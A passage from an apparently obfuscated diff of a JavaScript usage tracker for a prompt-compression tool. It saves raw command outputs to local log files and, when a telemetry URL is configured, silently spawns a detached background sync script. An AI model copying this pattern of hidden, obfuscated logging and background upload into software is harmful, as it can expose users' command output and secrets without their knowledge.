a0_0x3549();}exports['PRICING']={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0xb57e77(0x11a),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0xb57e77(0xfc),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0xb57e77(0xe2),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0xb57e77(0x117),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0xb57e77(0xe8),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0xb57e77(0xfe),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0xb57e77(0x12f),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0xb57e77(0x136),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0xb57e77(0x135),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0xb57e77(0xe7),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0xb57e77(0x118),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0xb57e77(0x105),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0xb57e77(0x126),'input_price_1m':0.15},'o1':{'name':a0_0xb57e77(0x10f),'input_price_1m':0xf},'o1-mini':{'name':a0_0xb57e77(0xf0),'input_price_1m':0x3},'o3-mini':{'name':a0_0xb57e77(0x100),'input_price_1m':1.1},'cursor-small':{'name':a0_0xb57e77(0xe3),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0xb57e77(0xfb),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0xb57e77(0xf2),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0xb57e77(0x10c),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0xb57e77(0x102),'input_price_1m':3.5}};class Tracker{[a0_0xb57e77(0xee)];[a0_0xb57e77(0x11b)];[a0_0xb57e77(0x12d)];['logsDir'];[a0_0xb57e77(0x110)];constructor(){const _0x5010d7=a0_0xb57e77;this[_0x5010d7(0xee)]=path[_0x5010d7(0xf3)](os['homedir'](),_0x5010d7(0x101)),this['configPath']=path[_0x5010d7(0xf3)](this['baseDir'],'config.json'),this[_0x5010d7(0x12d)]=path[_0x5010d7(0xf3)](this['baseDir'],_0x5010d7(0x116)),this['logsDir']=path[_0x5010d7(0xf3)](this[_0x5010d7(0xee)],'logs'),this[_0x5010d7(0xe4)]();}[a0_0xb57e77(0xe4)](){const _0x2f3f22=a0_0xb57e77;!fs['existsSync'](this['baseDir'])&&fs[_0x2f3f22(0x121)](this['baseDir'],{'recursive':!![]});!fs[_0x2f3f22(0x134)](this[_0x2f3f22(0x107)])&&fs[_0x2f3f22(0x121)](this['logsDir'],{'recursive':!![]});const _0x35b007={'version':_0x2f3f22(0xeb),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2f3f22(0x11e)};if(fs[_0x2f3f22(0x134)](this['configPath']))try{const _0xbc809=fs[_0x2f3f22(0x131)](this['configPath'],_0x2f3f22(0x114));this['config']={..._0x35b007,...JSON[_0x2f3f22(0x103)](_0xbc809)};}catch(_0x523e59){this[_0x2f3f22(0x110)]=_0x35b007;}else this[_0x2f3f22(0x110)]=_0x35b007,this[_0x2f3f22(0x11d)]();!fs[_0x2f3f22(0x134)](this[_0x2f3f22(0x12d)])&&fs[_0x2f3f22(0x10a)](this[_0x2f3f22(0x12d)],JSON['stringify']([]),_0x2f3f22(0x114));}[a0_0xb57e77(0xf4)](){const _0x576c3f=a0_0xb57e77;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config']['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x576c3f(0x110)];}[a0_0xb57e77(0xe9)](_0xe0c8ad,_0x5d8e2e){const _0x39f5c0=a0_0xb57e77;this[_0x39f5c0(0x110)][_0xe0c8ad]=_0x5d8e2e,this[_0x39f5c0(0x11d)]();}['saveConfig'](){const _0x42c66f=a0_0xb57e77;fs[_0x42c66f(0x10a)](this[_0x42c66f(0x11b)],JSON[_0x42c66f(0x10b)](this['config'],null,0x2),_0x42c66f(0x114));}[a0_0xb57e77(0x127)](){const _0x58cb27=a0_0xb57e77;try{if(!fs[_0x58cb27(0x134)](this[_0x58cb27(0x12d)]))return[];const _0x91b2a7=fs[_0x58cb27(0x131)](this['statsPath'],_0x58cb27(0x114));return JSON[_0x58cb27(0x103)](_0x91b2a7);}catch{return[];}}[a0_0xb57e77(0x13e)](_0xbc8b69){const _0x25ac31=a0_0xb57e77;fs[_0x25ac31(0x10a)](this[_0x25ac31(0x12d)],JSON[_0x25ac31(0x10b)](_0xbc8b69,null,0x2),'utf8');}[a0_0xb57e77(0x115)](_0x3aaaab,_0x54f30d,_0xbd8243,_0x71b1f1){const _0x1e6421=a0_0xb57e77,_0xce0c06=this[_0x1e6421(0x127)](),_0x105b73=_0x54f30d[_0x1e6421(0x139)],_0x1a761f=_0xbd8243[_0x1e6421(0x139)],_0x3f32e5=Math[_0x1e6421(0x13c)](_0x105b73/0x4),_0x2af4f6=Math[_0x1e6421(0x13c)](_0x1a761f/0x4),_0x51e893=Math['max'](0x0,_0x3f32e5-_0x2af4f6);let _0x5b2933=_0x1e6421(0x108);if(process.env.TRIMPROMPT_MODEL&&exports[_0x1e6421(0xe5)][process.env.TRIMPROMPT_MODEL])_0x5b2933=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x5b2933=_0x1e6421(0x108);else{if(process.env.CURSOR_VERSION)_0x5b2933='claude-3-5-sonnet';else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x5b2933='gemini-3-1-pro';else{const _0x4c07ce=this[_0x1e6421(0xf4)]()[_0x1e6421(0x141)];_0x4c07ce&&exports['PRICING'][_0x4c07ce]&&(_0x5b2933=_0x4c07ce);}}}}const _0x404017=Math[_0x1e6421(0x12c)]()[_0x1e6421(0x106)](0x24)[_0x1e6421(0x137)](0x2,0xb);try{fs['writeFileSync'](path[_0x1e6421(0xf3)](this[_0x1e6421(0x107)],_0x404017+_0x1e6421(0x13d)),_0x54f30d,_0x1e6421(0x114)),fs[_0x1e6421(0x10a)](path[_0x1e6421(0xf3)](this[_0x1e6421(0x107)],_0x404017+_0x1e6421(0x129)),_0xbd8243,_0x1e6421(0x114));}catch{}const _0xe3e876={'id':_0x404017,'timestamp':new Date()[_0x1e6421(0x132)](),'command':_0x3aaaab['split']('\x20')[0x0]||_0x1e6421(0xf7),'raw_chars':_0x105b73,'compressed_chars':_0x1a761f,'estimated_raw_tokens':_0x3f32e5,'estimated_compressed_tokens':_0x2af4f6,'tokens_saved':_0x51e893,'model_used':_0x5b2933,'exit_code':_0x71b1f1,'synced':![]};_0xce0c06[_0x1e6421(0xef)](_0xe3e876),this[_0x1e6421(0x13e)](_0xce0c06);const _0x3e69ed=this['getConfig']()[_0x1e6421(0xfd)];return _0x3e69ed&&_0x3e69ed[_0x1e6421(0x10e)]()[_0x1e6421(0x139)]>0x0&&this['triggerBackgroundSync'](),_0xe3e876;}[a0_0xb57e77(0x128)](){const _0x49f522=a0_0xb57e77;try{const _0x1d0585=path['join'](__dirname,_0x49f522(0x112));if(fs['existsSync'](_0x1d0585)){const _0x279c52=(0x0,child_process_1[_0x49f522(0x13f)])(process[_0x49f522(0xec)],[_0x1d0585],{'detached':!![],'stdio':_0x49f522(0x11f)});_0x279c52[_0x49f522(0x13b)]();}}catch{}}[a0_0xb57e77(0xf5)](_0x342730=a0_0xb57e77(0x125)){const _0x4c97c7=a0_0xb57e77,_0x29e4ab=this[_0x4c97c7(0x127)]();let _0x2c1d33=0x0,_0x186e97=0x0,_0x22da37=0x0;for(const _0x2be92c of _0x29e4ab){_0x2c1d33+=_0x2be92c[_0x4c97c7(0xed)],_0x186e97+=_0x2be92c[_0x4c97c7(0xf8)],_0x22da37+=_0x2be92c[_0x4c97c7(0xfa)];}let _0x3dab21=_0x342730;(!_0x3dab21||_0x3dab21===_0x4c97c7(0x125)||!exports[_0x4c97c7(0xe5)][_0x3dab21])&&(_0x29e4ab[_0x4c97c7(0x139)]>0x0&&_0x29e4ab[_0x29e4ab[_0x4c97c7(0x139)]-0x1][_0x4c97c7(0x104)]?_0x3dab21=_0x29e4ab[_0x29e4ab[_0x4c97c7(0x139)]-0x1][_0x4c97c7(0x104)]:_0x3dab21=this[_0x4c97c7(0xf4)]()[_0x4c97c7(0x141)]||'claude-3-5-sonnet');const _0x2198b3=exports[_0x4c97c7(0xe5)][_0x3dab21]||exports[_0x4c97c7(0xe5)][_0x4c97c7(0x108)],_0xd7503d=_0x22da37*_0x2198b3[_0x4c97c7(0xf6)]/0xf4240,_0x1ececd=_0x2c1d33*_0x2198b3[_0x4c97c7(0xf6)]/0xf4240,_0x49803d=_0x186e97*_0x2198b3[_0x4c97c7(0xf6)]/0xf4240,_0x40d247=_0x2c1d33>0x0?_0x22da37/_0x2c1d33*0x64:0x0;return{'total_raw_tokens':_0x2c1d33,'total_compressed_tokens':_0x186e97,'total_tokens_saved':_0x22da37,'savings_percentage':parseFloat(_0x40d247[_0x4c97c7(0xea)](0x1)),'money_saved_usd':parseFloat(_0xd7503d[_0x4c97c7(0xea)](0x4)),'raw_cost_usd':parseFloat(_0x1ececd[_0x4c97c7(0xea)](0x4)),'compressed_cost_usd':parseFloat(_0x49803d['toFixed'](0x4)),'model_name':_0x2198b3[_0x4c97c7(0x138)],'model_key':_0x3dab21};}}function a0_0x3134(_0x8305cc,_0x4cb7bb){_0x8305cc=_0x8305cc-0xe2;const _0x354926=a0_0x3549();let _0x3134ed=_0x354926[_0x8305cc];return _0x3134ed;}exports[a0_0xb57e77(0xf9)]=Tracker,exports[a0_0xb57e77(0xf1)]=new Tracker();
1
+ 'use strict';const a0_0x22692a=a0_0x432c;function a0_0x432c(_0xe5c84f,_0x2f6939){_0xe5c84f=_0xe5c84f-0x1eb;const _0xae0583=a0_0xae05();let _0x432c03=_0xae0583[_0xe5c84f];return _0x432c03;}(function(_0x2198a0,_0x46e73d){const _0x6d51af=a0_0x432c,_0x4f2a91=_0x2198a0();while(!![]){try{const _0x3dd0a8=parseInt(_0x6d51af(0x206))/0x1+-parseInt(_0x6d51af(0x1ee))/0x2+-parseInt(_0x6d51af(0x1fb))/0x3*(parseInt(_0x6d51af(0x22c))/0x4)+-parseInt(_0x6d51af(0x224))/0x5*(parseInt(_0x6d51af(0x23c))/0x6)+-parseInt(_0x6d51af(0x22a))/0x7+-parseInt(_0x6d51af(0x20e))/0x8+parseInt(_0x6d51af(0x231))/0x9*(parseInt(_0x6d51af(0x22e))/0xa);if(_0x3dd0a8===_0x46e73d)break;else _0x4f2a91['push'](_0x4f2a91['shift']());}catch(_0x569ed5){_0x4f2a91['push'](_0x4f2a91['shift']());}}}(a0_0xae05,0xda1e4));function a0_0xae05(){const _0x2d331c=['writeFileSync','PRICING','224307GPQmnI','toFixed','gemini-3-1-pro','writable','GPT-5.5','get','Claude\x203.5\x20Sonnet','split','__importStar','Claude\x20Haiku\x204.5','max','1164918pEfuXu','stringify','GPT-5.4\x20Mini','GPT-5.4\x20Nano','tracker','GPT-4o\x20Mini','unknown','logsDir','Gemini\x203.1\x20Pro','init','getLogs','push','.raw.txt','getConfig','config.json','input_price_1m','3251526gQNQHI','OpenAI\x20o3-mini','claude-opus-4-8','.trimprompt','Claude\x20Opus\x204.8','trim','ceil','config','saveLogs','default','existsSync','toISOString','prototype','45165JfIVzN','model_used','__esModule','Claude\x20Opus\x204.1\x20(deprecated)','call','saveConfig','statsPath','Gemini\x203.5\x20Live\x20Translate','Tracker','GPT-5.4','baseDir','344702XgsRJv','auto','1.0','parse','GPT-4.1\x20Nano','ignore','length','child_process','5282208Tfarby','getStatsSummary','default_model','Claude\x20Opus\x204.7','join','readFileSync','defineProperty','Claude\x20Haiku\x203.5','logs','logExecution','mkdirSync','setConfig','path','homedir','create','Claude\x20Fable\x205','GPT-4.1\x20Mini','GPT-4o','triggerBackgroundSync','estimated_raw_tokens','OpenAI\x20o1-mini','utf8','35uQDjsg','spawn','hasOwnProperty','claude-3-5-sonnet','configPath','Claude\x20Sonnet\x204.6','1913408qtPLvm','sync.js','356SwmSXv','__createBinding','2330SOkLLR'];a0_0xae05=function(){return _0x2d331c;};return a0_0xae05();}var __createBinding=this&&this[a0_0x22692a(0x22d)]||(Object[a0_0x22692a(0x21c)]?function(_0x415eaf,_0x31d9a3,_0x351a4d,_0x350f23){const _0x1e458c=a0_0x22692a;if(_0x350f23===undefined)_0x350f23=_0x351a4d;var _0xd4b441=Object['getOwnPropertyDescriptor'](_0x31d9a3,_0x351a4d);(!_0xd4b441||(_0x1e458c(0x236)in _0xd4b441?!_0x31d9a3['__esModule']:_0xd4b441[_0x1e458c(0x234)]||_0xd4b441['configurable']))&&(_0xd4b441={'enumerable':!![],'get':function(){return _0x31d9a3[_0x351a4d];}}),Object[_0x1e458c(0x214)](_0x415eaf,_0x350f23,_0xd4b441);}:function(_0x2f66aa,_0x395bdf,_0x6985e,_0x136e14){if(_0x136e14===undefined)_0x136e14=_0x6985e;_0x2f66aa[_0x136e14]=_0x395bdf[_0x6985e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x4b552a,_0x526b51){const _0x593fe3=a0_0x22692a;Object[_0x593fe3(0x214)](_0x4b552a,_0x593fe3(0x1f7),{'enumerable':!![],'value':_0x526b51});}:function(_0x3a22ac,_0x2fc5cf){const _0x58d2d3=a0_0x22692a;_0x3a22ac[_0x58d2d3(0x1f7)]=_0x2fc5cf;}),__importStar=this&&this[a0_0x22692a(0x239)]||(function(){var _0x43ea31=function(_0x5f01a9){return _0x43ea31=Object['getOwnPropertyNames']||function(_0x1bf22a){const _0x436687=a0_0x432c;var _0x141bb8=[];for(var _0x1a638c in _0x1bf22a)if(Object[_0x436687(0x1fa)][_0x436687(0x226)][_0x436687(0x1ff)](_0x1bf22a,_0x1a638c))_0x141bb8[_0x141bb8[_0x436687(0x20c)]]=_0x1a638c;return _0x141bb8;},_0x43ea31(_0x5f01a9);};return function(_0xa0c1fe){const _0x259e6c=a0_0x432c;if(_0xa0c1fe&&_0xa0c1fe[_0x259e6c(0x1fd)])return _0xa0c1fe;var _0x567df6={};if(_0xa0c1fe!=null){for(var _0x3fab42=_0x43ea31(_0xa0c1fe),_0x17dc00=0x0;_0x17dc00<_0x3fab42[_0x259e6c(0x20c)];_0x17dc00++)if(_0x3fab42[_0x17dc00]!==_0x259e6c(0x1f7))__createBinding(_0x567df6,_0xa0c1fe,_0x3fab42[_0x17dc00]);}return __setModuleDefault(_0x567df6,_0xa0c1fe),_0x567df6;};}());Object[a0_0x22692a(0x214)](exports,a0_0x22692a(0x1fd),{'value':!![]}),exports[a0_0x22692a(0x240)]=exports[a0_0x22692a(0x203)]=exports[a0_0x22692a(0x230)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x22692a(0x21a))),os=__importStar(require('os')),child_process_1=require(a0_0x22692a(0x20d));exports[a0_0x22692a(0x230)]={'claude-fable-5':{'name':a0_0x22692a(0x21d),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x22692a(0x1f2),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x22692a(0x211),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x22692a(0x1fe),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x22692a(0x229),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x22692a(0x237),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x22692a(0x23a),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x22692a(0x215),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x22692a(0x235),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x22692a(0x204),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x22692a(0x21f),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x22692a(0x23e),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x22692a(0x23f),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x22692a(0x21e),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x22692a(0x20a),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x22692a(0x241),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x22692a(0x222),'input_price_1m':0x3},'o3-mini':{'name':a0_0x22692a(0x1ef),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x22692a(0x244),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x22692a(0x202),'input_price_1m':3.5}};class Tracker{[a0_0x22692a(0x205)];[a0_0x22692a(0x228)];[a0_0x22692a(0x201)];['logsDir'];['config'];constructor(){const _0x12b343=a0_0x22692a;this['baseDir']=path[_0x12b343(0x212)](os[_0x12b343(0x21b)](),_0x12b343(0x1f1)),this[_0x12b343(0x228)]=path[_0x12b343(0x212)](this[_0x12b343(0x205)],_0x12b343(0x1ec)),this['statsPath']=path[_0x12b343(0x212)](this[_0x12b343(0x205)],'stats.json'),this[_0x12b343(0x243)]=path[_0x12b343(0x212)](this[_0x12b343(0x205)],_0x12b343(0x216)),this['init']();}[a0_0x22692a(0x245)](){const _0x2a0d11=a0_0x22692a;!fs['existsSync'](this[_0x2a0d11(0x205)])&&fs[_0x2a0d11(0x218)](this[_0x2a0d11(0x205)],{'recursive':!![]});!fs[_0x2a0d11(0x1f8)](this['logsDir'])&&fs[_0x2a0d11(0x218)](this['logsDir'],{'recursive':!![]});const _0x487204={'version':_0x2a0d11(0x208),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2a0d11(0x1f0)};if(fs[_0x2a0d11(0x1f8)](this['configPath']))try{const _0x9d9385=fs[_0x2a0d11(0x213)](this[_0x2a0d11(0x228)],_0x2a0d11(0x223));this['config']={..._0x487204,...JSON[_0x2a0d11(0x209)](_0x9d9385)};}catch(_0x464e66){this[_0x2a0d11(0x1f5)]=_0x487204;}else this[_0x2a0d11(0x1f5)]=_0x487204,this[_0x2a0d11(0x200)]();!fs[_0x2a0d11(0x1f8)](this['statsPath'])&&fs['writeFileSync'](this[_0x2a0d11(0x201)],JSON[_0x2a0d11(0x23d)]([]),_0x2a0d11(0x223));}[a0_0x22692a(0x1eb)](){const _0x51ef7e=a0_0x22692a;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x51ef7e(0x1f5)]['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x51ef7e(0x1f5)];}[a0_0x22692a(0x219)](_0x128220,_0x2de07f){const _0x20d6fa=a0_0x22692a;this['config'][_0x128220]=_0x2de07f,this[_0x20d6fa(0x200)]();}['saveConfig'](){const _0x2ff306=a0_0x22692a;fs['writeFileSync'](this[_0x2ff306(0x228)],JSON[_0x2ff306(0x23d)](this['config'],null,0x2),'utf8');}[a0_0x22692a(0x246)](){const _0x5880d0=a0_0x22692a;try{if(!fs[_0x5880d0(0x1f8)](this[_0x5880d0(0x201)]))return[];const _0x2861fc=fs[_0x5880d0(0x213)](this['statsPath'],_0x5880d0(0x223));return JSON['parse'](_0x2861fc);}catch{return[];}}[a0_0x22692a(0x1f6)](_0x21fd94){const _0x5526e0=a0_0x22692a;fs[_0x5526e0(0x22f)](this[_0x5526e0(0x201)],JSON['stringify'](_0x21fd94,null,0x2),'utf8');}[a0_0x22692a(0x217)](_0x3aa5,_0x1ae97f,_0x6dc6c4,_0x3b51bb){const _0x1a0762=a0_0x22692a,_0x18285e=this['getLogs'](),_0x3fe005=_0x1ae97f[_0x1a0762(0x20c)],_0x134dc8=_0x6dc6c4[_0x1a0762(0x20c)],_0x34e688=Math[_0x1a0762(0x1f4)](_0x3fe005/0x4),_0x11e0d8=Math['ceil'](_0x134dc8/0x4),_0x71b4df=Math[_0x1a0762(0x23b)](0x0,_0x34e688-_0x11e0d8);let _0x3e8749=_0x1a0762(0x227);if(process.env.TRIMPROMPT_MODEL&&exports[_0x1a0762(0x230)][process.env.TRIMPROMPT_MODEL])_0x3e8749=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x3e8749=_0x1a0762(0x227);else{if(process.env.CURSOR_VERSION)_0x3e8749=_0x1a0762(0x227);else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x3e8749=_0x1a0762(0x233);else{const _0x5229f8=this[_0x1a0762(0x1eb)]()[_0x1a0762(0x210)];_0x5229f8&&exports[_0x1a0762(0x230)][_0x5229f8]&&(_0x3e8749=_0x5229f8);}}}}const _0x1dd74b=Math['random']()['toString'](0x24)['substring'](0x2,0xb);try{fs[_0x1a0762(0x22f)](path[_0x1a0762(0x212)](this[_0x1a0762(0x243)],_0x1dd74b+_0x1a0762(0x248)),_0x1ae97f,_0x1a0762(0x223)),fs[_0x1a0762(0x22f)](path['join'](this[_0x1a0762(0x243)],_0x1dd74b+'.comp.txt'),_0x6dc6c4,_0x1a0762(0x223));}catch{}const _0x500eda={'id':_0x1dd74b,'timestamp':new Date()[_0x1a0762(0x1f9)](),'command':_0x3aa5[_0x1a0762(0x238)]('\x20')[0x0]||_0x1a0762(0x242),'raw_chars':_0x3fe005,'compressed_chars':_0x134dc8,'estimated_raw_tokens':_0x34e688,'estimated_compressed_tokens':_0x11e0d8,'tokens_saved':_0x71b4df,'model_used':_0x3e8749,'exit_code':_0x3b51bb,'synced':![]};_0x18285e[_0x1a0762(0x247)](_0x500eda),this[_0x1a0762(0x1f6)](_0x18285e);const _0x2d88b3=this[_0x1a0762(0x1eb)]()['telemetry_url'];return _0x2d88b3&&_0x2d88b3[_0x1a0762(0x1f3)]()[_0x1a0762(0x20c)]>0x0&&this[_0x1a0762(0x220)](),_0x500eda;}[a0_0x22692a(0x220)](){const _0x5702d9=a0_0x22692a;try{const _0x65c08e=path['join'](__dirname,_0x5702d9(0x22b));if(fs[_0x5702d9(0x1f8)](_0x65c08e)){const _0x695cc=(0x0,child_process_1[_0x5702d9(0x225)])(process['execPath'],[_0x65c08e],{'detached':!![],'stdio':_0x5702d9(0x20b)});_0x695cc['unref']();}}catch{}}[a0_0x22692a(0x20f)](_0x412998=a0_0x22692a(0x207)){const _0x4f14b8=a0_0x22692a,_0x27b349=this['getLogs']();let _0x38e092=0x0,_0x3ecda6=0x0,_0x1d5000=0x0;for(const _0x118b6e of _0x27b349){_0x38e092+=_0x118b6e[_0x4f14b8(0x221)],_0x3ecda6+=_0x118b6e['estimated_compressed_tokens'],_0x1d5000+=_0x118b6e['tokens_saved'];}let _0x45259d=_0x412998;(!_0x45259d||_0x45259d==='auto'||!exports[_0x4f14b8(0x230)][_0x45259d])&&(_0x27b349[_0x4f14b8(0x20c)]>0x0&&_0x27b349[_0x27b349[_0x4f14b8(0x20c)]-0x1][_0x4f14b8(0x1fc)]?_0x45259d=_0x27b349[_0x27b349[_0x4f14b8(0x20c)]-0x1]['model_used']:_0x45259d=this[_0x4f14b8(0x1eb)]()[_0x4f14b8(0x210)]||_0x4f14b8(0x227));const _0x4be09a=exports[_0x4f14b8(0x230)][_0x45259d]||exports['PRICING'][_0x4f14b8(0x227)],_0x2b9024=_0x1d5000*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0xfea642=_0x38e092*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0x23bbff=_0x3ecda6*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0x4edf2f=_0x38e092>0x0?_0x1d5000/_0x38e092*0x64:0x0;return{'total_raw_tokens':_0x38e092,'total_compressed_tokens':_0x3ecda6,'total_tokens_saved':_0x1d5000,'savings_percentage':parseFloat(_0x4edf2f['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x2b9024['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0xfea642['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x23bbff[_0x4f14b8(0x232)](0x4)),'model_name':_0x4be09a['name'],'model_key':_0x45259d};}}exports[a0_0x22692a(0x203)]=Tracker,exports[a0_0x22692a(0x240)]=new Tracker();